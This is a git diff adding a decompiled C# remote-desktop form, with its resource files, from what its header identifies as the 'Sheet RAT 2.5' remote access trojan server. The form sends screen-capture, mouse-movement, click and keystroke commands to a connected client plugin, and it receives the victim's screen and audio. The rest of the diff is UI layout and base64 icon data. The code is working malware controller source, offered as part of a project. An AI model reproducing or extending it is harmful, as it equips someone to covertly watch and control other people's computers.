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 + + \ No newline at end of file diff --git a/Server/Server/Forms/FormRemoteDesktop.cs b/Server/Server/Forms/FormRemoteDesktop.cs new file mode 100644 index 0000000..adac831 --- /dev/null +++ b/Server/Server/Forms/FormRemoteDesktop.cs @@ -0,0 +1,511 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Forms.FormRemoteDesktop +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using MetroFramework; +using MetroFramework.Controls; +using MetroFramework.Forms; +using NAudio.Wave; +using Server.Connection; +using Server.Helper.Configs.Themes; +using System; +using System.Windows.Forms; +using System.Collections.Generic; +using System.ComponentModel; +using System.Diagnostics; +using System.Drawing; +using System.Drawing.Imaging; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Forms { + +public class FormRemoteDesktop : MetroForm +{ + public Clients PluginClientSound; + public Clients PluginClient; + public Clients ParrentClient; + public string pathforImage; + public Stopwatch sw = Stopwatch.StartNew(); + public Size rdSize; + public object syncPicbox = new object(); + private List _keysPressed; + public int FPS; + public WaveOut waveOut; + public BufferedWaveProvider bufferedWaveProvider; + private IContainer components; + private MetroLabel metroLabel2; + private MetroToggle metroToggleScreen; + private MetroLabel metroLabel5; + private MetroLabel metroLabel4; + public NumericUpDown numericUpDown2; + public NumericUpDown numericUpDown1; + private MetroLabel metroLabel1; + private MetroToggle metroToggleMouse; + private MetroLabel metroLabel3; + private MetroToggle metroToggleKeyboard; + public PictureBox pictureBox1; + public Timer timer1; + private MetroLabel metroLabel6; + private MetroToggle ToggleSound; + private MetroLabel metroLabel7; + private MetroToggle ToogleSharpDX; + + public Image GetImage { get; set; } + + public FormRemoteDesktop() => this.InitializeComponent(); + + private void FormRemoteDesktop_Load(object sender, EventArgs e) + { + if (Customs.customs.Style != MetroColorStyle.Lime) + { + this.Style = Customs.customs.Style; + this.Style = Customs.customs.Style; + this.metroToggleScreen.Style = Customs.customs.Style; + this.metroToggleMouse.Style = Customs.customs.Style; + this.metroToggleKeyboard.Style = Customs.customs.Style; + this.ToggleSound.Style = Customs.customs.Style; + this.metroLabel2.Style = Customs.customs.Style; + this.metroLabel5.Style = Customs.customs.Style; + this.metroLabel3.Style = Customs.customs.Style; + this.metroLabel1.Style = Customs.customs.Style; + this.metroLabel4.Style = Customs.customs.Style; + this.metroLabel6.Style = Customs.customs.Style; + this.ToogleSharpDX.Style = Customs.customs.Style; + this.metroLabel7.Style = Customs.customs.Style; + this.numericUpDown1.ForeColor = Customs.customs.StyleToColor(); + this.numericUpDown2.ForeColor = Customs.customs.StyleToColor(); + } + if (Customs.customs.Theme != MetroThemeStyle.Dark) + { + this.Theme = Customs.customs.Theme; + this.metroToggleScreen.Theme = Customs.customs.Theme; + this.metroToggleMouse.Theme = Customs.customs.Theme; + this.metroToggleKeyboard.Theme = Customs.customs.Theme; + this.ToggleSound.Theme = Customs.customs.Theme; + this.metroLabel2.Theme = Customs.customs.Theme; + this.metroLabel5.Theme = Customs.customs.Theme; + this.metroLabel3.Theme = Customs.customs.Theme; + this.metroLabel1.Theme = Customs.customs.Theme; + this.metroLabel4.Theme = Customs.customs.Theme; + this.metroLabel6.Theme = Customs.customs.Theme; + this.ToogleSharpDX.Theme = Customs.customs.Theme; + this.metroLabel7.Theme = Customs.customs.Theme; + this.numericUpDown1.BackColor = Customs.customs.ThemeToColor(); + this.numericUpDown2.BackColor = Customs.customs.ThemeToColor(); + } + this.Refresh(); + this._keysPressed = new List(); + this.pictureBox1.MouseMove += new MouseEventHandler(this.pictureBox1_MouseMove); + this.pictureBox1.MouseDown += new MouseEventHandler(this.pictureBox1_MouseDown); + this.pictureBox1.MouseUp += new MouseEventHandler(this.pictureBox1_MouseUp); + this.KeyPreview = true; + this.pictureBox1.Focus(); + this.KeyDown += new KeyEventHandler(this.FormRemoteDesktop_KeyDown); + this.KeyUp += new KeyEventHandler(this.FormRemoteDesktop_KeyUp); + this.FormClosing += (FormClosingEventHandler) ((t, p) => + { + if (this.PluginClient != null) + this.PluginClient.Disconnected(); + if (this.PluginClientSound != null) + this.PluginClientSound.Disconnected(); + if (this.waveOut == null) + return; + this.waveOut.Stop(); + this.waveOut.Dispose(); + }); + } + + private ImageCodecInfo GetEncoder(ImageFormat format) + { + foreach (ImageCodecInfo imageDecoder in ImageCodecInfo.GetImageDecoders()) + { + if (imageDecoder.FormatID == format.Guid) + return imageDecoder; + } + return (ImageCodecInfo) null; + } + + private void pictureBox1_MouseDown(object sender, MouseEventArgs e) + { + try + { + if (!this.metroToggleScreen.Checked || this.pictureBox1.Image == null || !this.metroToggleMouse.Checked) + return; + Point point = new Point(e.X * this.rdSize.Width / this.pictureBox1.Width, e.Y * this.rdSize.Height / this.pictureBox1.Height); + int num = 0; + if (e.Button == MouseButtons.Left) + num = 2; + if (e.Button == MouseButtons.Right) + num = 8; + this.PluginClient.Send((object) ("mouseClick<@>" + num.ToString())); + } + catch + { + } + } + + private void pictureBox1_MouseUp(object sender, MouseEventArgs e) + { + try + { + if (!this.metroToggleScreen.Checked || this.pictureBox1.Image == null || !this.metroToggleMouse.Checked) + return; + Point point = new Point(e.X * this.rdSize.Width / this.pictureBox1.Width, e.Y * this.rdSize.Height / this.pictureBox1.Height); + int num = 0; + if (e.Button == MouseButtons.Left) + num = 4; + if (e.Button == MouseButtons.Right) + num = 16 /*0x10*/; + this.PluginClient.Send((object) ("mouseClick<@>" + num.ToString())); + } + catch + { + } + } + + private void pictureBox1_MouseMove(object sender, MouseEventArgs e) + { + try + { + if (!this.metroToggleScreen.Checked || this.pictureBox1.Image == null || !this.metroToggleMouse.Checked) + return; + Point point = new Point(e.X * this.rdSize.Width / this.pictureBox1.Width, e.Y * this.rdSize.Height / this.pictureBox1.Height); + this.PluginClient.Send((object) $"mouseMove<@>{point.X.ToString()}<@>{point.Y.ToString()}"); + } + catch + { + } + } + + private void FormRemoteDesktop_KeyDown(object sender, KeyEventArgs e) + { + if (!this.metroToggleScreen.Checked || this.pictureBox1.Image == null || !this.metroToggleKeyboard.Checked) + return; + if (!this.IsLockKey(e.KeyCode)) + e.Handled = true; + if (this._keysPressed.Contains(e.KeyCode)) + return; + this._keysPressed.Add(e.KeyCode); + this.PluginClient.Send((object) ("keyboardClick<@>true<@>" + Convert.ToInt32((object) e.KeyCode).ToString())); + } + + private void FormRemoteDesktop_KeyUp(object sender, KeyEventArgs e) + { + if (!this.metroToggleScreen.Checked || this.pictureBox1.Image == null || !this.metroToggleKeyboard.Checked) + return; + if (!this.IsLockKey(e.KeyCode)) + e.Handled = true; + this._keysPressed.Remove(e.KeyCode); + this.PluginClient.Send((object) ("keyboardClick<@>false<@>" + Convert.ToInt32((object) e.KeyCode).ToString())); + } + + private bool IsLockKey(Keys key) + { + return (key & Keys.Capital) == Keys.Capital || (key & Keys.NumLock) == Keys.NumLock || (key & Keys.Scroll) == Keys.Scroll; + } + + private void metroToggleScreen_CheckedChanged(object sender, EventArgs e) + { + if (this.PluginClient == null) + this.metroToggleScreen.Checked = false; + else if (this.metroToggleScreen.Checked) + { + this.numericUpDown2.Visible = false; + this.numericUpDown1.Visible = false; + this.metroLabel4.Visible = false; + this.metroLabel5.Visible = false; + Clients pluginClient = this.PluginClient; + string[] strArray = new string[6]; + strArray[0] = "capture<@>"; + Decimal num = this.numericUpDown1.Value; + strArray[1] = num.ToString(); + strArray[2] = "<@>"; + num = this.numericUpDown2.Value; + strArray[3] = num.ToString(); + strArray[4] = "<@>"; + strArray[5] = this.ToogleSharpDX.Checked.ToString().ToLower(); + string message = string.Concat(strArray); + pluginClient.Send((object) message); + } + else + { + this.numericUpDown2.Visible = true; + this.numericUpDown1.Visible = true; + this.metroLabel4.Visible = true; + this.metroLabel5.Visible = true; + this.PluginClient.Send((object) "stop"); + } + } + + private void timer1_Tick(object sender, EventArgs e) + { + if (this.ParrentClient.Connect && this.PluginClient.Connect) + return; + this.Close(); + } + + private void metroToggle1_CheckedChanged(object sender, EventArgs e) + { + if (this.PluginClientSound == null) + this.ToggleSound.Checked = false; + else if (this.ToggleSound.Checked) + { + this.PluginClientSound.Send((object) "capturesound"); + this.bufferedWaveProvider = new BufferedWaveProvider(new WaveFormat(48000, 16 /*0x10*/, 2)); + this.bufferedWaveProvider.DiscardOnBufferOverflow = true; + this.waveOut = new WaveOut(); + this.waveOut.Volume = 1f; + this.waveOut.Init((IWaveProvider) this.bufferedWaveProvider); + this.waveOut.Play(); + } + else + { + this.PluginClientSound.Send((object) "capturesoundstop"); + this.waveOut.Stop(); + this.waveOut.Dispose(); + this.bufferedWaveProvider.ClearBuffer(); + } + } + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.components = (IContainer) new System.ComponentModel.Container(); + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormRemoteDesktop)); + this.pictureBox1 = new PictureBox(); + this.metroLabel2 = new MetroLabel(); + this.metroToggleScreen = new MetroToggle(); + this.metroLabel5 = new MetroLabel(); + this.metroLabel4 = new MetroLabel(); + this.numericUpDown2 = new NumericUpDown(); + this.numericUpDown1 = new NumericUpDown(); + this.metroLabel1 = new MetroLabel(); + this.metroToggleMouse = new MetroToggle(); + this.metroLabel3 = new MetroLabel(); + this.metroToggleKeyboard = new MetroToggle(); + this.timer1 = new Timer(this.components); + this.metroLabel6 = new MetroLabel(); + this.ToggleSound = new MetroToggle(); + this.metroLabel7 = new MetroLabel(); + this.ToogleSharpDX = new MetroToggle(); + ((ISupportInitialize) this.pictureBox1).BeginInit(); + this.numericUpDown2.BeginInit(); + this.numericUpDown1.BeginInit(); + this.SuspendLayout(); + this.pictureBox1.Anchor = AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right; + this.pictureBox1.Location = new Point(23, 123); + this.pictureBox1.Name = "pictureBox1"; + this.pictureBox1.Size = new Size(1051, 431); + this.pictureBox1.SizeMode = PictureBoxSizeMode.StretchImage; + this.pictureBox1.TabIndex = 0; + this.pictureBox1.TabStop = false; + this.metroLabel2.AutoSize = true; + this.metroLabel2.Location = new Point(109, 64 /*0x40*/); + this.metroLabel2.Name = "metroLabel2"; + this.metroLabel2.Size = new Size(67, 19); + this.metroLabel2.Style = MetroColorStyle.Lime; + this.metroLabel2.TabIndex = 8; + this.metroLabel2.Text = "<- Screen"; + this.metroLabel2.Theme = MetroThemeStyle.Dark; + this.metroLabel2.UseStyleColors = true; + this.metroToggleScreen.AutoSize = true; + this.metroToggleScreen.Location = new Point(23, 63 /*0x3F*/); + this.metroToggleScreen.Name = "metroToggleScreen"; + this.metroToggleScreen.Size = new Size(80 /*0x50*/, 17); + this.metroToggleScreen.Style = MetroColorStyle.Lime; + this.metroToggleScreen.TabIndex = 7; + this.metroToggleScreen.Text = "Off"; + this.metroToggleScreen.Theme = MetroThemeStyle.Dark; + this.metroToggleScreen.UseSelectable = true; + this.metroToggleScreen.UseStyleColors = true; + this.metroToggleScreen.CheckedChanged += new EventHandler(this.metroToggleScreen_CheckedChanged); + this.metroLabel5.AutoSize = true; + this.metroLabel5.Location = new Point(82, 94); + this.metroLabel5.Margin = new Padding(2, 0, 2, 0); + this.metroLabel5.Name = "metroLabel5"; + this.metroLabel5.Size = new Size(69, 19); + this.metroLabel5.Style = MetroColorStyle.Lime; + this.metroLabel5.TabIndex = 19; + this.metroLabel5.Text = "<- Quality"; + this.metroLabel5.Theme = MetroThemeStyle.Dark; + this.metroLabel5.UseStyleColors = true; + this.metroLabel4.AutoSize = true; + this.metroLabel4.Location = new Point(201, 93); + this.metroLabel4.Margin = new Padding(2, 0, 2, 0); + this.metroLabel4.Name = "metroLabel4"; + this.metroLabel4.Size = new Size(67, 19); + this.metroLabel4.Style = MetroColorStyle.Lime; + this.metroLabel4.TabIndex = 18; + this.metroLabel4.Text = "<- Screen"; + this.metroLabel4.Theme = MetroThemeStyle.Dark; + this.metroLabel4.UseStyleColors = true; + this.numericUpDown2.BackColor = Color.Black; + this.numericUpDown2.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.numericUpDown2.ForeColor = Color.FromArgb(165, 219, 0); + this.numericUpDown2.Increment = new Decimal(new int[4] + { + 10, + 0, + 0, + 0 + }); + this.numericUpDown2.Location = new Point(155, 93); + this.numericUpDown2.Margin = new Padding(2); + this.numericUpDown2.Maximum = new Decimal(new int[4]); + this.numericUpDown2.Name = "numericUpDown2"; + this.numericUpDown2.Size = new Size(42, 20); + this.numericUpDown2.TabIndex = 17; + this.numericUpDown2.TextAlign = HorizontalAlignment.Center; + this.numericUpDown2.UpDownAlign = LeftRightAlignment.Left; + this.numericUpDown1.BackColor = Color.Black; + this.numericUpDown1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.numericUpDown1.ForeColor = Color.FromArgb(165, 219, 0); + this.numericUpDown1.Increment = new Decimal(new int[4] + { + 5, + 0, + 0, + 0 + }); + this.numericUpDown1.Location = new Point(23, 94); + this.numericUpDown1.Margin = new Padding(2); + this.numericUpDown1.Minimum = new Decimal(new int[4] + { + 1, + 0, + 0, + 0 + }); + this.numericUpDown1.Name = "numericUpDown1"; + this.numericUpDown1.Size = new Size(55, 20); + this.numericUpDown1.TabIndex = 16 /*0x10*/; + this.numericUpDown1.TextAlign = HorizontalAlignment.Center; + this.numericUpDown1.UpDownAlign = LeftRightAlignment.Left; + this.numericUpDown1.Value = new Decimal(new int[4] + { + 30, + 0, + 0, + 0 + }); + this.metroLabel1.AutoSize = true; + this.metroLabel1.Location = new Point(266, 64 /*0x40*/); + this.metroLabel1.Name = "metroLabel1"; + this.metroLabel1.Size = new Size(67, 19); + this.metroLabel1.Style = MetroColorStyle.Lime; + this.metroLabel1.TabIndex = 21; + this.metroLabel1.Text = "<- Mouse"; + this.metroLabel1.Theme = MetroThemeStyle.Dark; + this.metroLabel1.UseStyleColors = true; + this.metroToggleMouse.AutoSize = true; + this.metroToggleMouse.Location = new Point(180, 63 /*0x3F*/); + this.metroToggleMouse.Name = "metroToggleMouse"; + this.metroToggleMouse.Size = new Size(80 /*0x50*/, 17); + this.metroToggleMouse.Style = MetroColorStyle.Lime; + this.metroToggleMouse.TabIndex = 20; + this.metroToggleMouse.Text = "Off"; + this.metroToggleMouse.Theme = MetroThemeStyle.Dark; + this.metroToggleMouse.UseSelectable = true; + this.metroToggleMouse.UseStyleColors = true; + this.metroLabel3.AutoSize = true; + this.metroLabel3.Location = new Point(363, 94); + this.metroLabel3.Name = "metroLabel3"; + this.metroLabel3.Size = new Size(84, 19); + this.metroLabel3.Style = MetroColorStyle.Lime; + this.metroLabel3.TabIndex = 23; + this.metroLabel3.Text = "<- KeyBoard"; + this.metroLabel3.Theme = MetroThemeStyle.Dark; + this.metroLabel3.UseStyleColors = true; + this.metroToggleKeyboard.AutoSize = true; + this.metroToggleKeyboard.Location = new Point(277, 93); + this.metroToggleKeyboard.Name = "metroToggleKeyboard"; + this.metroToggleKeyboard.Size = new Size(80 /*0x50*/, 17); + this.metroToggleKeyboard.Style = MetroColorStyle.Lime; + this.metroToggleKeyboard.TabIndex = 22; + this.metroToggleKeyboard.Text = "Off"; + this.metroToggleKeyboard.Theme = MetroThemeStyle.Dark; + this.metroToggleKeyboard.UseSelectable = true; + this.metroToggleKeyboard.UseStyleColors = true; + this.timer1.Interval = 1000; + this.timer1.Tick += new EventHandler(this.timer1_Tick); + this.metroLabel6.AutoSize = true; + this.metroLabel6.Location = new Point(459, 67); + this.metroLabel6.Name = "metroLabel6"; + this.metroLabel6.Size = new Size(65, 19); + this.metroLabel6.Style = MetroColorStyle.Lime; + this.metroLabel6.TabIndex = 25; + this.metroLabel6.Text = "<- Sound"; + this.metroLabel6.Theme = MetroThemeStyle.Dark; + this.metroLabel6.UseStyleColors = true; + this.ToggleSound.AutoSize = true; + this.ToggleSound.Location = new Point(373, 67); + this.ToggleSound.Name = "ToggleSound"; + this.ToggleSound.Size = new Size(80 /*0x50*/, 17); + this.ToggleSound.Style = MetroColorStyle.Lime; + this.ToggleSound.TabIndex = 24; + this.ToggleSound.Text = "Off"; + this.ToggleSound.Theme = MetroThemeStyle.Dark; + this.ToggleSound.UseSelectable = true; + this.ToggleSound.UseStyleColors = true; + this.ToggleSound.CheckedChanged += new EventHandler(this.metroToggle1_CheckedChanged); + this.metroLabel7.AutoSize = true; + this.metroLabel7.Location = new Point(692, 69); + this.metroLabel7.Name = "metroLabel7"; + this.metroLabel7.Size = new Size(103, 19); + this.metroLabel7.Style = MetroColorStyle.Lime; + this.metroLabel7.TabIndex = 27; + this.metroLabel7.Text = "<- Use SharpDX"; + this.metroLabel7.Theme = MetroThemeStyle.Dark; + this.metroLabel7.UseStyleColors = true; + this.ToogleSharpDX.AutoSize = true; + this.ToogleSharpDX.Location = new Point(606, 69); + this.ToogleSharpDX.Name = "ToogleSharpDX"; + this.ToogleSharpDX.Size = new Size(80 /*0x50*/, 17); + this.ToogleSharpDX.Style = MetroColorStyle.Lime; + this.ToogleSharpDX.TabIndex = 26; + this.ToogleSharpDX.Text = "Off"; + this.ToogleSharpDX.Theme = MetroThemeStyle.Dark; + this.ToogleSharpDX.UseSelectable = true; + this.ToogleSharpDX.UseStyleColors = true; + this.AutoScaleDimensions = new SizeF(6f, 13f); + this.AutoScaleMode = AutoScaleMode.Font; + this.ClientSize = new Size(1097, 577); + this.Controls.Add((Control) this.metroLabel7); + this.Controls.Add((Control) this.ToogleSharpDX); + this.Controls.Add((Control) this.metroLabel6); + this.Controls.Add((Control) this.ToggleSound); + this.Controls.Add((Control) this.metroLabel3); + this.Controls.Add((Control) this.metroToggleKeyboard); + this.Controls.Add((Control) this.metroLabel1); + this.Controls.Add((Control) this.metroToggleMouse); + this.Controls.Add((Control) this.metroLabel5); + this.Controls.Add((Control) this.metroLabel4); + this.Controls.Add((Control) this.numericUpDown2); + this.Controls.Add((Control) this.numericUpDown1); + this.Controls.Add((Control) this.metroLabel2); + this.Controls.Add((Control) this.metroToggleScreen); + this.Controls.Add((Control) this.pictureBox1); + this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); + this.Name = nameof (FormRemoteDesktop); + this.Style = MetroColorStyle.Lime; + this.Text = "RemoteDesktop"; + this.TextAlign = MetroFormTextAlign.Center; + this.Theme = MetroThemeStyle.Dark; + this.Load += new EventHandler(this.FormRemoteDesktop_Load); + ((ISupportInitialize) this.pictureBox1).EndInit(); + this.numericUpDown2.EndInit(); + this.numericUpDown1.EndInit(); + this.ResumeLayout(false); + this.PerformLayout(); + } +} +} diff --git a/Server/Server/Forms/FormRemoteDesktop.resx b/Server/Server/Forms/FormRemoteDesktop.resx new file mode 100644 index 0000000..a567bcf --- /dev/null +++ b/Server/Server/Forms/FormRemoteDesktop.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5JY29uAgAAAAhJY29uRGF0YQhJY29uU2l6ZQcEAhNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAIAAAAJAwAAAAX8////E1N5c3RlbS5EcmF3aW5nLlNpemUCAAAABXdpZHRoBmhlaWdodAAACAgCAAAAAAAAAAAAAAAPAwAAAFYhAAACAAABAAEAAAAAAAEAIABAIQAAFgAAAIlQTkcNChoKAAAADUlIRFIAAAEAAAABAAgGAAAAXHKoZgAAAAFvck5UAc+id5oAACD6SURBVHja7Z0JmFTVmYaLfd9EkIgLQUmMZkw0JkadEMwYY8aYxNEkxsQxiVFnNIsrm4osIqCAEGhomqXphgYEZZNN7bB1I8gwoxhRIzNg4koQBKHZmu4z7zn31u0Cge6qLuDequ97nvc5VQ3io9T7/+ece++pWExRFEVRFEVRFEVRFEVRFEVRFEVRFEVRFEVRFEVRFEVRFEVRlBOSHBOLGZgAExOw7xVFybAUIPZUyIdJCfR34reEztDCFQFFUSKeKYhcBJN94uJPNvUZT4WLkf1WGArFdP7V0FkzAEWJqvCWggQ84RvB6RSA78C9MIGfr4V/IP5+MEhvWQ6tVQAUJSpT+gJTJX5hIH5TOBuuhh7IPw1eR/wdYBDfY6LPhICRsTxTJzZeBUBRwhc7nZ/mT+unJlBoGlMAOjJeBb2QfjZshJ2Ibxz5PkeTf7wph9uc/D1VABTl5Oc5RByQIH1c/Gms4YtMB15/B/G7wwzEfwN2Ir0JqLn8lo/hG64AjFEBUJSTk7js033s62eZlheZNnAR0t8BefAK4u8Ag/geqctvmPq/wthe039FOZGx6/Zhvuwz/PFp97opr7tQEH4Ow5F/JWxB/HIwTvz0yW+ZEhtnGoH+ThTluMYKPjMQ3aPI1GVsj/TdoCfMQfzNsI9fM46pPumX39Lddf9cFQBFSW9mms/idfrm8EXE/yXkwDp+/gkYxPc4MfJ/Sue/2nV/FQBFSUNm+JflZiUwg7X8LNOWAvDPiN8TFvKzd2EfGCf+iZffIP7biH+Wpv+KUpvERX/G51nX7Rvys7PgR7weCqsRfzsYJ32ckye/ZQ4FoKkKgKIkm2cTZLfMdu9bwIVIfydMgb8ifhkYJ3645DfI/6gu/ylKTWLvp1/qix5nnpO/DdJfBr1gCXyA+OVgnPjhlX83/Mit/ceqACjKkTfx7N1xcxKw1+Znm/bwXV4PgOXwMeIbxyyfcMtveYfX52jzT1ESY+/C+w7MTWCOqQcd4QeIPwzWwk7EN47oyW/o+guhubq/oixBgrP8Kf28BOnnmrPhJl6PgdeQfjcYR7TltwyIjeC/M08FQMnG2On8KpjvM8+N9RjPgOsRfyy8ye/bCyYQPzPkL4Mfu82/oSoASrbESm67/XOHUA86Iv/1/Ppo+Avil4Fx4mee/AbxN8M5rgAYFQAlG9b1CxKkn2/q8t6Tfj7Sz0f6eUg/Dxvm+mSu/JYFsRzW/zmSX8nULOTDvch4o5V/sZ